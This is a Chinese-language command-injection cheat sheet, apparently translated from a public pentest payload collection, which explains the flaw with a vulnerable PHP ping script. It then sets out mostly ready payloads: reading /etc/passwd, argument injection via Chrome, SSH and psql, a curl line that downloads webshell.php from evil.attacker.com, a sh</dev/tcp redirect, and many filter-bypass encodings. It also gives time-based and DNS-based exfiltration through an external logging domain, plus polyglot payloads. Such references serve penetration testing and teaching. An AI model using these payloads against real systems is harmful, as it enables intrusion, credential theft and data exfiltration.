跳转至

命令注入 (Command Injection)

命令注入是一种安全漏洞,允许攻击者在易受攻击的应用程序内部执行任意操作系统命令。

摘要 (Summary)

工具 (Tools)

方法论 (Methodology)

命令注入,也称为 shell 注入,是一种攻击者可以通过易受攻击的应用程序在主机操作系统上执行任意命令的攻击类型。当应用程序将不安全的、由用户提供的数据(表单、Cookie、HTTP 标头等)传递给系统 shell 时,就可能存在这种漏洞。在此背景下,系统 shell 是一个处理要执行命令的命令行界面,通常在 Unix 或 Linux 系统上。

命令注入的危险在于它可能允许攻击者执行系统上的任何命令,从而可能导致系统完全被控制。

PHP 中的命令注入示例: 假设您有一个 PHP 脚本,它接收用户输入来 ping 指定的 IP 地址或域名:

<?php
    $ip = $_GET['ip'];
    system("ping -c 4 " . $ip);
?>

在上面的代码中,PHP 脚本使用 system() 函数执行 ping 命令,其 IP 地址或域名由用户通过 ip GET 参数提供。

如果攻击者提供的输入如 8.8.8.8; cat /etc/passwd,实际执行的命令将是:ping -c 4 8.8.8.8; cat /etc/passwd

这意味着系统会先执行 ping 8.8.8.8,然后执行 cat /etc/passwd 命令,这将显示 /etc/passwd 文件的内容,可能会泄露敏感信息。

基本命令 (Basic Commands)

执行命令,大功告成 :p

cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
...

命令链 (Chaining Commands)

在许多命令行界面中,尤其是类 Unix 系统,有几种字符可以用来链接或操纵命令。

  • ; (分号):允许您按顺序执行多个命令。
  • && (与):仅在第一个命令成功(返回零退出状态)时执行第二个命令。
  • || (或):仅在第一个命令失败(返回非零退出状态)时执行第二个命令。
  • & (后台):在后台执行命令,允许用户继续使用 shell。
  • | (管道):获取第一个命令的输出并将其用作第二个命令的输入。
command1; command2   # 执行 command1,然后执行 command2
command1 && command2 # 仅当 command1 成功时执行 command2
command1 || command2 # 仅当 command1 失败时执行 command2
command1 & command2  # 在后台执行 command1
command1 | command2  # 将 command1 的输出作为 command2 的输入

参数注入 (Argument Injection)

当您只能向现有命令追加参数时实现命令执行。 使用此网站 Argument Injection Vectors - Sonar 查找可注入以获得命令执行的参数。

  • Chrome

    chrome '--gpu-launcher="id>/tmp/foo"'
    
  • SSH

    ssh '-oProxyCommand="touch /tmp/foo"' foo@foo
    
  • psql

    psql -o'|id>/tmp/foo'
    

参数注入可以利用 worstfit 技术进行。

在以下示例中,Payload " --use-askpass=calc " 使用的是全角双引号 (U+FF02) 而不是常规双引号 (U+0022):

$url = "https://example.tld/" . $_GET['path'] . ".txt";
system("wget.exe -q " . escapeshellarg($url));

有时,注入可能无法直接执行命令,但您可能能够将流重定向到特定文件中,从而部署 Web Shell。

  • curl

    # -o, --output <file>        将输出写入文件而非标准输出
    curl http://evil.attacker.com/ -o webshell.php
    

在命令内部 (Inside A Command)

  • 使用反引号进行命令注入。
original_cmd_by_server `cat /etc/passwd`
  • 使用替换进行命令注入。
original_cmd_by_server $(cat /etc/passwd)

过滤器绕过 (Filter Bypasses)

无空格绕过 (Bypass Without Space)

  • $IFS 是一个特殊的 shell 变量,称为内部字段分隔符。默认情况下,在许多 shell 中,它包含空白字符(空格、制表符、换行符)。在命令中使用时,shell 会将 $IFS 解释为空格。在 lswget 等命令中,$IFS 不能直接作为分隔符;请改用 ${IFS}
cat${IFS}/etc/passwd
ls${IFS}-la
  • 在某些 shell 中,大括号展开可以生成任意字符串。执行时,shell 会将大括号内的条目视为单独的命令或参数。
{cat,/etc/passwd}
  • 输入重定向。< 字符告诉 shell 读取指定文件的内容。
cat</etc/passwd
sh</dev/tcp/127.0.0.1/4242
  • ANSI-C 引用 (ANSI-C Quoting)
X=$'uname\x20-a'&&$X
  • 制表符 (Tab) 有时可以作为空格的替代方案。在 ASCII 中,制表符由十六进制值 09 表示。
;ls%09-al%09/home
  • 在 Windows 中,%VARIABLE:~start,length% 是用于对环境变量进行子字符串操作的语法。
ping%CommonProgramFiles:~10,-18%127.0.0.1
ping%PROGRAMFILES:~10,-5%127.0.0.1

换行符绕过 (Bypass With A Line Return)

命令也可以通过换行符按顺序运行:

original_cmd_by_server
ls

反斜杠+换行符绕过 (Bypass With Backslash Newline)

  • 命令可以通过使用反斜杠后跟换行符来拆分为多个部分:
$ cat /et\
c/pa\
sswd
  • URL 编码形式如下所示:
cat%20/et%5C%0Ac/pa%5C%0Asswd

波浪号展开绕过 (Bypass With Tilde Expansion)

echo ~+
echo ~-

大括号展开绕过 (Bypass With Brace Expansion)

{,ip,a}
{~,ifconfig}
{~,ifconfig,eth0}
{l,-lh}s
{~,echo,#test}
{~,$"whoami",}
{~,/?s?/?i?/c?t,/e??/p??s??,}

字符过滤器绕过 (Bypass Characters Filter)

在没有反斜杠和斜杠的情况下执行命令 - Linux Bash:

swissky@crashlab:~$ echo ${HOME:0:1}
/

swissky@crashlab:~$ cat ${HOME:0:1}etc${HOME:0:1}passwd
root:x:0:0:root:/root:/bin/bash

swissky@crashlab:~$ echo . | tr '!-0' '"-1'
/

swissky@crashlab:~$ tr '!-0' '"-1' <<< .
/

swissky@crashlab:~$ cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd
root:x:0:0:root:/root:/bin/bash

十六进制编码绕过字符过滤器 (Bypass Characters Filter Via Hex Encoding)

swissky@crashlab:~$ echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"
/etc/passwd

swissky@crashlab:~$ cat `echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"`
root:x:0:0:root:/root:/bin/bash

swissky@crashlab:~$ abc=$'\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64';cat $abc
root:x:0:0:root:/root:/bin/bash

swissky@crashlab:~$ `echo $'cat\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64'`
root:x:0:0:root:/root:/bin/bash

swissky@crashlab:~$ xxd -r -p <<< 2f6574632f706173737764
/etc/passwd

swissky@crashlab:~$ cat `xxd -r -p <<< 2f6574632f706173737764`
root:x:0:0:root:/root:/bin/bash

swissky@crashlab:~$ xxd -r -ps <(echo 2f6574632f706173737764)
/etc/passwd

swissky@crashlab:~$ cat `xxd -r -ps <(echo 2f6574632f706173737764)`
root:x:0:0:root:/root:/bin/bash

单引号绕过 (Bypass With Single Quote)

w'h'o'am'i
wh''oami
'w'hoami

双引号绕过 (Bypass With Double Quote)

w"h"o"am"i
wh""oami
"wh"oami

反引号绕过 (Bypass With Backticks)

wh``oami

反斜杠和斜杠绕过 (Bypass With Backslash and Slash)

w\ho\am\i
/\b\i\n/////s\h

使用 $@ 绕过 (Bypass With $@)

$0:指代脚本的名称(如果是作为脚本运行)。如果您处于交互式 shell 会话中,$0 通常会提供该 shell 的名称。

who$@ami
echo whoami|$0

使用 $() 绕过 (Bypass With $())

who$()ami
who$(echo am)i
who`echo am`i

变量展开绕过 (Bypass With Variable Expansion)

/???/??t /???/p??s??

test=/ehhh/hmtc/pahhh/hmsswd
cat ${test//hhh\/hm/}
cat ${test//hh??hm/}

通配符绕过 (Bypass With Wildcards)

powershell C:\*\*2\n??e*d.*? # notepad
@^p^o^w^e^r^shell c:\*\*32\c*?c.e?e # calc

随机大小写绕过 (Bypass With Random Case)

Windows 在解释命令或文件路径时不区分字母的大小写。例如,DIRdirDiR 都会执行相同的 dir 命令。

wHoAmi

数据外带 (Data Exfiltration)

基于时间的数据外带 (Time Based Data Exfiltration)

逐个字符提取数据,并根据延迟判断正确的值。

  • 正确的值:等待 5 秒
swissky@crashlab:~$ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
real    0m5.007s
user    0m0.000s
sys 0m0.000s
  • 错误的值:无延迟
swissky@crashlab:~$ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
real    0m0.002s
user    0m0.000s
sys 0m0.000s

基于 DNS 的数据外带 (Dns Based Data Exfiltration)

基于来自 HoLyVieR/dnsbin 的工具,同时也托管在 dnsbin.zhack.ca

  1. 前往 dnsbin.zhack.ca
  2. 执行一个简单的 'ls' 命令:
for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done

检查基于 DNS 数据外带的在线工具:

多重语言命令注入 (Polyglot Command Injection)

多重语言 (Polyglot) 是一段可以同时在多种编程语言或环境中有效并可执行的代码。当我们谈论“多重语言命令注入”时,是指一段可以在多种上下文或环境中执行的注入 Payload。

  • 示例 1
Payload: 1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}

# 在带有单引号和双引号的命令上下文中:
echo 1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
echo '1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
echo "1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
  • 示例 2
Payload: /*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/

# 在带有单引号和双引号的命令上下文中:
echo 1/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/
echo "YOURCMD/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/"
echo 'YOURCMD/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/'

技巧 (Tricks)

后台运行耗时命令

在某些情况下,您可能会遇到运行时间过长、因注入进程超时而被终止的命令。使用 nohup,您可以使进程在父进程退出后继续运行。

nohup sleep 120 > /dev/null &

移除注入点后的参数

在类 Unix 命令行界面中,-- 符号用于表示命令选项的结束。在 -- 之后,所有参数都被视为文件名和参数,而不再视为可选项。

实验环境 (Labs)

挑战 (Challenge)

基于之前的技巧,以下命令的作用是什么:

g="/e"\h"hh"/hm"t"c/\i"sh"hh/hmsu\e;tac$@<${g//hh??hm/}

注意:此命令运行是安全的,但您不应该完全信任我。

参考资料 (References)